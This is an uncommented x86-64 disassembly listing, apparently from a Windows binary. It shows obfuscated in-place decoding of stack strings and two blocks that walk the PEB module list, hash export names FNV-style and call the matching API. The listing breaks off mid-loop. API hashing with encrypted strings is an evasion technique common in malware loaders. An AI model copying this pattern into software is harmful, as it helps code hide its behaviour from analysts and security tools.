jmp 0x1400bc582
movabs rcx, 0x6c7fcd9ac93fa3e0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400bd0e5
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400bccb2
lea rdx, [rdi + r12]
mov ecx, 8
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bcaf8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bcced
movabs rcx, 0x9dca65c6bc8ca9a0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x60
inc rdi
jmp 0x1400bc582
inc rax
cmp r8, rax
jne 0x1400bcd19
movabs rcx, 0xb9023eb517a63fe0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400bd1c7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bcd4b
movabs rdx, 0x61d6041aa04ca140
add rdx, rdi
mov ecx, 0x20
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd161
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bcaf8
mov ecx, 0x30
movabs rdx, 0xef71f091cdd96c60
add rdx, rdi
dec rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400bc582
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bcdb4
movabs rcx, 0x6caf98aa1ad2fe70
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x1400bd0e5
inc rax
cmp r8, rax
jne 0x1400bcdeb
mov ecx, 0x18
movabs rdx, 0x87e7719875ec94b0
add rdx, rdi
dec rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400bc582
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bce1d
mov ecx, 0x28
movabs rdx, 0x15835e0fa3795fd0
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd161
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bce4f
mov ecx, 0x38
movabs rdx, 0xa31f4a86d1062af0
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd185
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bce7d
movabs rdx, 0xbe5723752c1fc130
movzx r10d, r11b
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x50
jmp 0x1400bd1c4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bcaa5
movabs rcx, 0xd98efc6387395770
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc rdi
jmp 0x1400bc582
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bcefc
mov ecx, 0x20
movabs rdx, 0x3b94cb8d79195340
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400bc582
inc rax
cmp r8, rax
jne 0x1400bcf29
movabs rdx, 0x56cca47bd432e980
movzx r10d, r11b
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
add r10b, 0x80
jmp 0x1400bd1c4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bcf56
movabs rcx, 0xffa069e15cd94ae0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400bd161
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bcf7d
movzx ecx, dil
movzx r10d, dil
and cl, r11b
dec rdi
add cl, cl
sub r10b, cl
add r10b, r11b
inc rdi
jmp 0x1400bc582
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bca59
movabs rdx, 0xa8742f46e57fac40
mov ecx, 0x20
jmp 0x1400bd0d0
movzx r10d, byte [rbp + rdi - 0x30]
movabs rdx, 0xc3ac083540994280
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
add r10b, 0x80
add r10b, dl
add r10b, r11b
jmp 0x1400bd161
movabs rcx, 0x5147f4ac6e260da0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rdi - 0x30]
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400bd1c7
mov ecx, 0x38
movabs rdx, 0xc9608313f83978f0
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400bc582
mov ecx, 0x18
movabs rdx, 0xae28aa259d1fe2b0
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd1c7
movabs rcx, 0x92f0d13742064c70
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x1400bd185
movabs rcx, 0x554e4c014798150
jmp 0x1400bd14c
movabs rcx, 0x77b8f848e6ecb630
add rcx, rdi
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
inc rdi
jmp 0x1400bc582
movabs rdx, 0x5c811f5a8bd31ff0
mov ecx, 0x38
jmp 0x1400bd0d0
movabs rdx, 0x4149466c30b989b0
mov ecx, 0x18
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0x7cde11f9a9d2dcf0
mov ecx, 0x38
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi - 0x30], cl
inc r9
dec rdi
inc rdi
jmp 0x1400bc582
movabs rcx, 0x26116d7dd59ff370
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
dec rdi
inc rdi
jmp 0x1400bc582
movabs rcx, 0x98758106a8132850
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
movabs rcx, 0xa79fe70d75fa810
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x70
add cl, r11b
add cl, r10b
mov byte [rbp + rdi - 0x30], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bc582
mov ecx, 0x38
movabs rdx, 0xefa1bba11f6cc6f0
add rdx, rdi
mov r11, rbx
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
movabs rcx, 0x9815eae804ec7330
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x50
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi - 0x30], al
add rax, r9
sub rdi, rax
inc r8
movabs rcx, 0xdee3e1239bb2d8c0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x40
add cl, r11b
mov byte [rbp + rdi - 0x30], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bc582
mov ecx, 0x18
movabs rdx, 0xd469e2b2c45330b0
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bc582
mov ecx, 0x28
movabs rdx, 0xc900ecf55512c3d0
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bc580
mov ecx, 0x18
movabs rdx, 0x3b65007e2785f8b0
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bc570
lea rdi, [rbp + 0x14c3c90]
jmp 0x1400bd2d6
lea rdi, [rbp + 0x112a220]
jmp 0x1400bd2d6
lea rdi, [rbp - 0x30]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400bd365
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400bd365
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0xdf55f474
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400bd360
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400bd340
cmp edx, 0x31738036
je 0x1400bd36a
test r9d, r9d
jne 0x1400bd320
mov rax, qword [rax]
jmp 0x1400bd2f0
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x38]
xor eax, eax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x4a], xmm0
mov byte [rbp + 0x5a], al
movabs rdi, 0x6c47416c00867b6c
mov dword [rbp + 0x40], 0xea36ea34
movabs rsi, 0xa820c96958cf7a14
mov dword [rbp + 0x44], 0x534a9395
movabs r15, 0x29ba4011555bbcbc
mov word [rbp + 0x48], 0xe154
movabs r14, 0x54ac4946ae18009c
movabs r12, 0x137c92403608724
movabs r13, 0xec58b3d597c61e8
nop dword [rax]
mov r8, qword [0x1402ed240]
mov r9, qword [0x1402ed238]
nop
xor ebx, ebx
cmp rbx, 0x1b
jae 0x1400be108
movzx r11d, byte [rbp + rbx + 0x40]
mov rdx, r11
cmp r8, rbx
ja 0x1400be0ff
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400bd441
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x24
jmp 0x1400bd490
je 0x1400be078
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bdfe4
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bdfad
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bdf84
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bdf33
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bdee0
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400be0f6
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400bd4bf
lea rdx, [rbx + rdi]
mov ecx, 6
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bd4f3
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400bdebf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bde90
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bde67
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bde3e
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400bdb33
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bdb0f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bdadd
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bdab2
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bda8a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bda76
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bda4d
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bda25
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400bda01
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bd9ca
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bd500
lea r9, [rcx + 0x2a]
mov r8, rcx
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400be0d2
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400be0a9
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400bd6e8
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400bd6c9
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400bd6a9
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400bd963
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400bd900
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400bd8ad
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x1400bd87c
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400bd500
lea r8, [r9 + 2]
lea r9, [r8 + 0x200]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400bd849
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bd820
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bd7f7
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400bd7d2
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bd7aa
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400bd781
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bd756
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400bd731
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400bd708
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bd500
lea r8, [r9 + 0x400]
lea r9, [r8 + 0xa]
jmp 0x1400bd500
lea rdx, [rbx + rsi]
mov ecx, 0x3a
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bd4f3
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x44
add r10b, dl
jmp 0x1400bd490
lea rdx, [rbx + r12]
mov ecx, 2
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bd412
mov ecx, 0x30
movabs rdx, 0x623a0b600433db60
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bdf04
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
inc r9
add al, al
dec rbx
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
inc rbx
jmp 0x1400bd402
movzx eax, r11b
movabs rcx, 0xbb510b1aaec4e870
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
inc rbx
jmp 0x1400bd402
mov ecx, 0x1c
movabs rdx, 0x67dc8af8040d6ef8
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bdf57
movzx eax, r11b
movabs rcx, 0x14680ad55955f580
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
add r8, r9
jmp 0x1400bdfcb
movzx eax, r11b
movabs rcx, 0xc0f38ab2ae9e7c08
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
jmp 0x1400bdfcb
mov ecx, 8
movabs rdx, 0x6d7f0a9003e70290
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400be007
mov ecx, 0x2c
movabs rdx, 0x1a0a8a6d592f8918
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400be034
movzx eax, r11b
movabs rcx, 0xc6960a4aae780fa0
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x60
inc rbx
jmp 0x1400bd402
mov ecx, 0x2a
movabs rdx, 0xf5f2c9f403ad5ff4
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x40], r10b
inc rbx
jmp 0x1400bd402
movabs rdx, 0xa27e49d158f5e67c
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x64
add r10b, dl
cmp r9, 0x10
jb 0x1400bd8a0
mov edx, 0x14
movabs rcx, 0xa03586e8028d32e8
add rcx, rbx
movzx eax, r11b
and al, cl
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400bdf04
movabs rdx, 0x4f09c9aeae3e6d04
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x1c
add r10b, dl
cmp r8, 0x3e8
jae 0x1400bdde8
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400bdd16
mov ecx, 0x3c
movabs rdx, 0x5da8858d57627438
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400bd8cd
mov ecx, 0x16
movabs rdx, 0xfb95498c0386f38c
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x1400bde10
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400bdc3c
mov ecx, 0x36
movabs rdx, 0xf161442156dbf8cc
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400bd920
movzx eax, r11b
mov ecx, 0x24
movabs rdx, 0x89ab88880326e488
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400bd402
movabs rcx, 0x36370865586f6b10
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x1400be034
movabs rdx, 0xe2c28842adb7f198
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x1400be007
mov ecx, 0x10
movabs rdx, 0x8f4e082003007820
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bdfcb
movabs rdx, 0x3bd987fd5848fea8
mov ecx, 0x34
jmp 0x1400bdf93
movabs rdx, 0xe86507daad918530
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, dl
jmp 0x1400bdf57
movzx eax, r11b
movabs rcx, 0x94f087b802da0bb8
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
inc rbx
jmp 0x1400bd402
mov ecx, 0x20
movabs rdx, 0x417c079558229240
add rdx, rbx
movzx eax, r11b
and al, dl
inc r9
sub cl, al
dec rbx
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400bd402
movabs rcx, 0xee078772ad6b18c8
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x1400bdf04
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400bdb58
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x24
jmp 0x1400bd984
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdb98
movzx eax, r11b
mov ecx, 0xc
movabs rdx, 0xd88e82d8010cf6d8
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400bd402
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bdbc5
movabs rcx, 0x79d5038556a25630
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x1400bdf57
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bdbfd
mov ecx, 0x34
movabs rdx, 0xcd4983a80159cfa8
add rdx, rbx
movzx eax, r11b
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400bd402
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bd987
mov ecx, 0x10
movabs rdx, 0x20be03caac114920
add rdx, rbx
movzx eax, r11b
and al, dl
inc r9
sub cl, al
dec rbx
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400bd402
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdc59
movabs rdx, 0x44d5c44401937244
mov ecx, 0x12
jmp 0x1400bdeef
inc rax
cmp r8, rax
jne 0x1400bdc8f
movzx eax, r11b
movabs rcx, 0x984a4466ac4aebbc
add rcx, rbx
inc r9
and al, cl
dec rbx
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x24
inc rbx
jmp 0x1400bd402
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bdcac
movabs rdx, 0x92a7c4ceac715824
mov ecx, 2
jmp 0x1400bdf93
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bdcd6
movzx eax, r11b
movabs rcx, 0xe61c44f15728d19c
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x1400bdfc7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bd923
movzx eax, r11b
movabs rcx, 0xe079c559574f3e04
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x1c
inc rbx
jmp 0x1400bd402
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdd56
movzx eax, r11b
mov ecx, 0x18
movabs rdx, 0xb11d05b00219edb0
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400bd402
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bdd83
movabs rcx, 0x580605f55788e0a0
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400be007
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bddb7
movzx eax, r11b
movabs rcx, 0xa5d806800266c680
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
inc rbx
jmp 0x1400bd402
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bd8d0
movabs rcx, 0x4cc106c557d5b970
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x1400bdf04
mov ecx, 0x30
movabs rdx, 0xf3aa070aad44ac60
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x40]
jmp 0x1400bdf51
mov ecx, 0xc
movabs rdx, 0x471e872d57fc25d8
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x40]
add r10b, dl
add r10b, r11b
jmp 0x1400be007
mov ecx, 0xa
movabs rdx, 0xb476c25eab8acdb4
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400be007
mov ecx, 0x2e
movabs rdx, 0x6102423c00d3543c
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bdfcb
mov ecx, 0x1a
movabs rdx, 0x66a4c1d400ace7d4
add rdx, rbx
movzx eax, r11b
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400bd402
movabs rcx, 0xbfbbc18eab3df4e4
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400bdf04
movabs rdx, 0x18d2c14955cf01f4
mov ecx, 0x2a
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0xc9efc6f957e8efa4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov byte [rbp + rbx + 0x40], cl
inc r9
dec rbx
inc rbx
jmp 0x1400bd402
mov ecx, 0x16
movabs rdx, 0x1e7540e155a8958c
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0x1d64471c02a0691c
mov edx, 0x1e
add rcx, rbx
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x40], dl
add r8, r9
jmp 0x1400bdfcb
movabs rdx, 0xcb00c0beaaf11c14
mov ecx, 0x3a
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400bdfcb
movabs rcx, 0x778c409c0039a29c
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x44
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bd402
mov r11, rdx
mov eax, 2
movabs rcx, 0x2417c07955822924
add rcx, rbx
and dl, cl
sub al, dl
lea r10d, [rax + rax]
add r10b, r11b
add r10b, cl
inc r9
movabs rcx, 0x70d8c73ead57e294
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0xc
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x40], al
add rax, r9
sub rbx, rax
inc r8
movabs rcx, 0x9a93075002b39f50
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x30
add cl, r11b
mov byte [rbp + rbx + 0x40], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd402
movabs rcx, 0x7d2ec03400133634
movzx eax, dl
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x6c
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd402
mov ecx, 0x26
movabs rdx, 0xadc3490158a90dac
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd400
movabs rcx, 0x5a4ec8deadf19434
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x1400bd3f0
lea rdi, [rbp + 0x162ce90]
jmp 0x1400be10c
lea rdi, [rbp + 0xbe8b4c]
jmp 0x1400be10c
lea rdi, [rbp + 0x40]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400be195
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400be195
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
